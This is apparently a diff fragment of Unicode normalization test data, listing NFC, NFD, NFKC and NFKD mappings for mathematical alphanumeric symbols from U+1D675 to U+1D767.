+{ source: [0x1D675], NFC: [0x1D675], NFD: [0x1D675], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D676], NFC: [0x1D676], NFD: [0x1D676], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D677], NFC: [0x1D677], NFD: [0x1D677], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D678], NFC: [0x1D678], NFD: [0x1D678], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D679], NFC: [0x1D679], NFD: [0x1D679], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D67A], NFC: [0x1D67A], NFD: [0x1D67A], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D67B], NFC: [0x1D67B], NFD: [0x1D67B], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D67C], NFC: [0x1D67C], NFD: [0x1D67C], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D67D], NFC: [0x1D67D], NFD: [0x1D67D], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D67E], NFC: [0x1D67E], NFD: [0x1D67E], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D67F], NFC: [0x1D67F], NFD: [0x1D67F], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D680], NFC: [0x1D680], NFD: [0x1D680], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D681], NFC: [0x1D681], NFD: [0x1D681], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D682], NFC: [0x1D682], NFD: [0x1D682], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D683], NFC: [0x1D683], NFD: [0x1D683], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D684], NFC: [0x1D684], NFD: [0x1D684], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D685], NFC: [0x1D685], NFD: [0x1D685], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D686], NFC: [0x1D686], NFD: [0x1D686], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D687], NFC: [0x1D687], NFD: [0x1D687], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D688], NFC: [0x1D688], NFD: [0x1D688], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D689], NFC: [0x1D689], NFD: [0x1D689], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D68A], NFC: [0x1D68A], NFD: [0x1D68A], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D68B], NFC: [0x1D68B], NFD: [0x1D68B], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D68C], NFC: [0x1D68C], NFD: [0x1D68C], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D68D], NFC: [0x1D68D], NFD: [0x1D68D], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D68E], NFC: [0x1D68E], NFD: [0x1D68E], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D68F], NFC: [0x1D68F], NFD: [0x1D68F], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D690], NFC: [0x1D690], NFD: [0x1D690], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D691], NFC: [0x1D691], NFD: [0x1D691], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D692], NFC: [0x1D692], NFD: [0x1D692], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D693], NFC: [0x1D693], NFD: [0x1D693], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D694], NFC: [0x1D694], NFD: [0x1D694], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D695], NFC: [0x1D695], NFD: [0x1D695], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D696], NFC: [0x1D696], NFD: [0x1D696], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D697], NFC: [0x1D697], NFD: [0x1D697], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D698], NFC: [0x1D698], NFD: [0x1D698], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D699], NFC: [0x1D699], NFD: [0x1D699], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D69A], NFC: [0x1D69A], NFD: [0x1D69A], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D69B], NFC: [0x1D69B], NFD: [0x1D69B], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D69C], NFC: [0x1D69C], NFD: [0x1D69C], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D69D], NFC: [0x1D69D], NFD: [0x1D69D], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D69E], NFC: [0x1D69E], NFD: [0x1D69E], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D69F], NFC: [0x1D69F], NFD: [0x1D69F], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D6A0], NFC: [0x1D6A0], NFD: [0x1D6A0], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D6A1], NFC: [0x1D6A1], NFD: [0x1D6A1], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D6A2], NFC: [0x1D6A2], NFD: [0x1D6A2], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D6A3], NFC: [0x1D6A3], NFD: [0x1D6A3], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D6A4], NFC: [0x1D6A4], NFD: [0x1D6A4], NFKC: [0x0131], NFKD: [0x0131] },
+{ source: [0x1D6A5], NFC: [0x1D6A5], NFD: [0x1D6A5], NFKC: [0x0237], NFKD: [0x0237] },
+{ source: [0x1D6A8], NFC: [0x1D6A8], NFD: [0x1D6A8], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D6A9], NFC: [0x1D6A9], NFD: [0x1D6A9], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D6AA], NFC: [0x1D6AA], NFD: [0x1D6AA], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D6AB], NFC: [0x1D6AB], NFD: [0x1D6AB], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D6AC], NFC: [0x1D6AC], NFD: [0x1D6AC], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D6AD], NFC: [0x1D6AD], NFD: [0x1D6AD], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D6AE], NFC: [0x1D6AE], NFD: [0x1D6AE], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D6AF], NFC: [0x1D6AF], NFD: [0x1D6AF], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6B0], NFC: [0x1D6B0], NFD: [0x1D6B0], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D6B1], NFC: [0x1D6B1], NFD: [0x1D6B1], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D6B2], NFC: [0x1D6B2], NFD: [0x1D6B2], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D6B3], NFC: [0x1D6B3], NFD: [0x1D6B3], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D6B4], NFC: [0x1D6B4], NFD: [0x1D6B4], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D6B5], NFC: [0x1D6B5], NFD: [0x1D6B5], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D6B6], NFC: [0x1D6B6], NFD: [0x1D6B6], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D6B7], NFC: [0x1D6B7], NFD: [0x1D6B7], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D6B8], NFC: [0x1D6B8], NFD: [0x1D6B8], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D6B9], NFC: [0x1D6B9], NFD: [0x1D6B9], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6BA], NFC: [0x1D6BA], NFD: [0x1D6BA], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D6BB], NFC: [0x1D6BB], NFD: [0x1D6BB], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D6BC], NFC: [0x1D6BC], NFD: [0x1D6BC], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D6BD], NFC: [0x1D6BD], NFD: [0x1D6BD], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D6BE], NFC: [0x1D6BE], NFD: [0x1D6BE], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D6BF], NFC: [0x1D6BF], NFD: [0x1D6BF], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D6C0], NFC: [0x1D6C0], NFD: [0x1D6C0], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D6C1], NFC: [0x1D6C1], NFD: [0x1D6C1], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D6C2], NFC: [0x1D6C2], NFD: [0x1D6C2], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D6C3], NFC: [0x1D6C3], NFD: [0x1D6C3], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D6C4], NFC: [0x1D6C4], NFD: [0x1D6C4], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D6C5], NFC: [0x1D6C5], NFD: [0x1D6C5], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D6C6], NFC: [0x1D6C6], NFD: [0x1D6C6], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D6C7], NFC: [0x1D6C7], NFD: [0x1D6C7], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D6C8], NFC: [0x1D6C8], NFD: [0x1D6C8], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D6C9], NFC: [0x1D6C9], NFD: [0x1D6C9], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D6CA], NFC: [0x1D6CA], NFD: [0x1D6CA], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D6CB], NFC: [0x1D6CB], NFD: [0x1D6CB], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D6CC], NFC: [0x1D6CC], NFD: [0x1D6CC], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D6CD], NFC: [0x1D6CD], NFD: [0x1D6CD], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D6CE], NFC: [0x1D6CE], NFD: [0x1D6CE], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D6CF], NFC: [0x1D6CF], NFD: [0x1D6CF], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D6D0], NFC: [0x1D6D0], NFD: [0x1D6D0], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D6D1], NFC: [0x1D6D1], NFD: [0x1D6D1], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D6D2], NFC: [0x1D6D2], NFD: [0x1D6D2], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D6D3], NFC: [0x1D6D3], NFD: [0x1D6D3], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D6D4], NFC: [0x1D6D4], NFD: [0x1D6D4], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D6D5], NFC: [0x1D6D5], NFD: [0x1D6D5], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D6D6], NFC: [0x1D6D6], NFD: [0x1D6D6], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D6D7], NFC: [0x1D6D7], NFD: [0x1D6D7], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D6D8], NFC: [0x1D6D8], NFD: [0x1D6D8], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D6D9], NFC: [0x1D6D9], NFD: [0x1D6D9], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D6DA], NFC: [0x1D6DA], NFD: [0x1D6DA], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D6DB], NFC: [0x1D6DB], NFD: [0x1D6DB], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D6DC], NFC: [0x1D6DC], NFD: [0x1D6DC], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D6DD], NFC: [0x1D6DD], NFD: [0x1D6DD], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D6DE], NFC: [0x1D6DE], NFD: [0x1D6DE], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D6DF], NFC: [0x1D6DF], NFD: [0x1D6DF], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D6E0], NFC: [0x1D6E0], NFD: [0x1D6E0], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D6E1], NFC: [0x1D6E1], NFD: [0x1D6E1], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D6E2], NFC: [0x1D6E2], NFD: [0x1D6E2], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D6E3], NFC: [0x1D6E3], NFD: [0x1D6E3], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D6E4], NFC: [0x1D6E4], NFD: [0x1D6E4], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D6E5], NFC: [0x1D6E5], NFD: [0x1D6E5], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D6E6], NFC: [0x1D6E6], NFD: [0x1D6E6], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D6E7], NFC: [0x1D6E7], NFD: [0x1D6E7], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D6E8], NFC: [0x1D6E8], NFD: [0x1D6E8], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D6E9], NFC: [0x1D6E9], NFD: [0x1D6E9], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6EA], NFC: [0x1D6EA], NFD: [0x1D6EA], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D6EB], NFC: [0x1D6EB], NFD: [0x1D6EB], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D6EC], NFC: [0x1D6EC], NFD: [0x1D6EC], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D6ED], NFC: [0x1D6ED], NFD: [0x1D6ED], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D6EE], NFC: [0x1D6EE], NFD: [0x1D6EE], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D6EF], NFC: [0x1D6EF], NFD: [0x1D6EF], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D6F0], NFC: [0x1D6F0], NFD: [0x1D6F0], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D6F1], NFC: [0x1D6F1], NFD: [0x1D6F1], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D6F2], NFC: [0x1D6F2], NFD: [0x1D6F2], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D6F3], NFC: [0x1D6F3], NFD: [0x1D6F3], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6F4], NFC: [0x1D6F4], NFD: [0x1D6F4], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D6F5], NFC: [0x1D6F5], NFD: [0x1D6F5], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D6F6], NFC: [0x1D6F6], NFD: [0x1D6F6], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D6F7], NFC: [0x1D6F7], NFD: [0x1D6F7], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D6F8], NFC: [0x1D6F8], NFD: [0x1D6F8], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D6F9], NFC: [0x1D6F9], NFD: [0x1D6F9], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D6FA], NFC: [0x1D6FA], NFD: [0x1D6FA], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D6FB], NFC: [0x1D6FB], NFD: [0x1D6FB], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D6FC], NFC: [0x1D6FC], NFD: [0x1D6FC], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D6FD], NFC: [0x1D6FD], NFD: [0x1D6FD], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D6FE], NFC: [0x1D6FE], NFD: [0x1D6FE], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D6FF], NFC: [0x1D6FF], NFD: [0x1D6FF], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D700], NFC: [0x1D700], NFD: [0x1D700], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D701], NFC: [0x1D701], NFD: [0x1D701], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D702], NFC: [0x1D702], NFD: [0x1D702], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D703], NFC: [0x1D703], NFD: [0x1D703], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D704], NFC: [0x1D704], NFD: [0x1D704], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D705], NFC: [0x1D705], NFD: [0x1D705], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D706], NFC: [0x1D706], NFD: [0x1D706], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D707], NFC: [0x1D707], NFD: [0x1D707], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D708], NFC: [0x1D708], NFD: [0x1D708], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D709], NFC: [0x1D709], NFD: [0x1D709], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D70A], NFC: [0x1D70A], NFD: [0x1D70A], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D70B], NFC: [0x1D70B], NFD: [0x1D70B], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D70C], NFC: [0x1D70C], NFD: [0x1D70C], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D70D], NFC: [0x1D70D], NFD: [0x1D70D], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D70E], NFC: [0x1D70E], NFD: [0x1D70E], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D70F], NFC: [0x1D70F], NFD: [0x1D70F], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D710], NFC: [0x1D710], NFD: [0x1D710], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D711], NFC: [0x1D711], NFD: [0x1D711], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D712], NFC: [0x1D712], NFD: [0x1D712], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D713], NFC: [0x1D713], NFD: [0x1D713], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D714], NFC: [0x1D714], NFD: [0x1D714], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D715], NFC: [0x1D715], NFD: [0x1D715], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D716], NFC: [0x1D716], NFD: [0x1D716], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D717], NFC: [0x1D717], NFD: [0x1D717], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D718], NFC: [0x1D718], NFD: [0x1D718], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D719], NFC: [0x1D719], NFD: [0x1D719], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D71A], NFC: [0x1D71A], NFD: [0x1D71A], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D71B], NFC: [0x1D71B], NFD: [0x1D71B], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D71C], NFC: [0x1D71C], NFD: [0x1D71C], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D71D], NFC: [0x1D71D], NFD: [0x1D71D], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D71E], NFC: [0x1D71E], NFD: [0x1D71E], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D71F], NFC: [0x1D71F], NFD: [0x1D71F], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D720], NFC: [0x1D720], NFD: [0x1D720], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D721], NFC: [0x1D721], NFD: [0x1D721], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D722], NFC: [0x1D722], NFD: [0x1D722], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D723], NFC: [0x1D723], NFD: [0x1D723], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D724], NFC: [0x1D724], NFD: [0x1D724], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D725], NFC: [0x1D725], NFD: [0x1D725], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D726], NFC: [0x1D726], NFD: [0x1D726], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D727], NFC: [0x1D727], NFD: [0x1D727], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D728], NFC: [0x1D728], NFD: [0x1D728], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D729], NFC: [0x1D729], NFD: [0x1D729], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D72A], NFC: [0x1D72A], NFD: [0x1D72A], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D72B], NFC: [0x1D72B], NFD: [0x1D72B], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D72C], NFC: [0x1D72C], NFD: [0x1D72C], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D72D], NFC: [0x1D72D], NFD: [0x1D72D], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D72E], NFC: [0x1D72E], NFD: [0x1D72E], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D72F], NFC: [0x1D72F], NFD: [0x1D72F], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D730], NFC: [0x1D730], NFD: [0x1D730], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D731], NFC: [0x1D731], NFD: [0x1D731], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D732], NFC: [0x1D732], NFD: [0x1D732], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D733], NFC: [0x1D733], NFD: [0x1D733], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D734], NFC: [0x1D734], NFD: [0x1D734], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D735], NFC: [0x1D735], NFD: [0x1D735], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D736], NFC: [0x1D736], NFD: [0x1D736], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D737], NFC: [0x1D737], NFD: [0x1D737], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D738], NFC: [0x1D738], NFD: [0x1D738], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D739], NFC: [0x1D739], NFD: [0x1D739], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D73A], NFC: [0x1D73A], NFD: [0x1D73A], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D73B], NFC: [0x1D73B], NFD: [0x1D73B], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D73C], NFC: [0x1D73C], NFD: [0x1D73C], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D73D], NFC: [0x1D73D], NFD: [0x1D73D], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D73E], NFC: [0x1D73E], NFD: [0x1D73E], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D73F], NFC: [0x1D73F], NFD: [0x1D73F], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D740], NFC: [0x1D740], NFD: [0x1D740], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D741], NFC: [0x1D741], NFD: [0x1D741], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D742], NFC: [0x1D742], NFD: [0x1D742], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D743], NFC: [0x1D743], NFD: [0x1D743], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D744], NFC: [0x1D744], NFD: [0x1D744], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D745], NFC: [0x1D745], NFD: [0x1D745], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D746], NFC: [0x1D746], NFD: [0x1D746], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D747], NFC: [0x1D747], NFD: [0x1D747], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D748], NFC: [0x1D748], NFD: [0x1D748], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D749], NFC: [0x1D749], NFD: [0x1D749], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D74A], NFC: [0x1D74A], NFD: [0x1D74A], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D74B], NFC: [0x1D74B], NFD: [0x1D74B], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D74C], NFC: [0x1D74C], NFD: [0x1D74C], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D74D], NFC: [0x1D74D], NFD: [0x1D74D], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D74E], NFC: [0x1D74E], NFD: [0x1D74E], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D74F], NFC: [0x1D74F], NFD: [0x1D74F], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D750], NFC: [0x1D750], NFD: [0x1D750], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D751], NFC: [0x1D751], NFD: [0x1D751], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D752], NFC: [0x1D752], NFD: [0x1D752], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D753], NFC: [0x1D753], NFD: [0x1D753], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D754], NFC: [0x1D754], NFD: [0x1D754], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D755], NFC: [0x1D755], NFD: [0x1D755], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D756], NFC: [0x1D756], NFD: [0x1D756], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D757], NFC: [0x1D757], NFD: [0x1D757], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D758], NFC: [0x1D758], NFD: [0x1D758], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D759], NFC: [0x1D759], NFD: [0x1D759], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D75A], NFC: [0x1D75A], NFD: [0x1D75A], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D75B], NFC: [0x1D75B], NFD: [0x1D75B], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D75C], NFC: [0x1D75C], NFD: [0x1D75C], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D75D], NFC: [0x1D75D], NFD: [0x1D75D], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D75E], NFC: [0x1D75E], NFD: [0x1D75E], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D75F], NFC: [0x1D75F], NFD: [0x1D75F], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D760], NFC: [0x1D760], NFD: [0x1D760], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D761], NFC: [0x1D761], NFD: [0x1D761], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D762], NFC: [0x1D762], NFD: [0x1D762], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D763], NFC: [0x1D763], NFD: [0x1D763], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D764], NFC: [0x1D764], NFD: [0x1D764], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D765], NFC: [0x1D765], NFD: [0x1D765], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D766], NFC: [0x1D766], NFD: [0x1D766], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D767], NFC: [0x1D767], NFD: [0x1D767], NFKC: [0x0398], NFKD: [0x0398] },
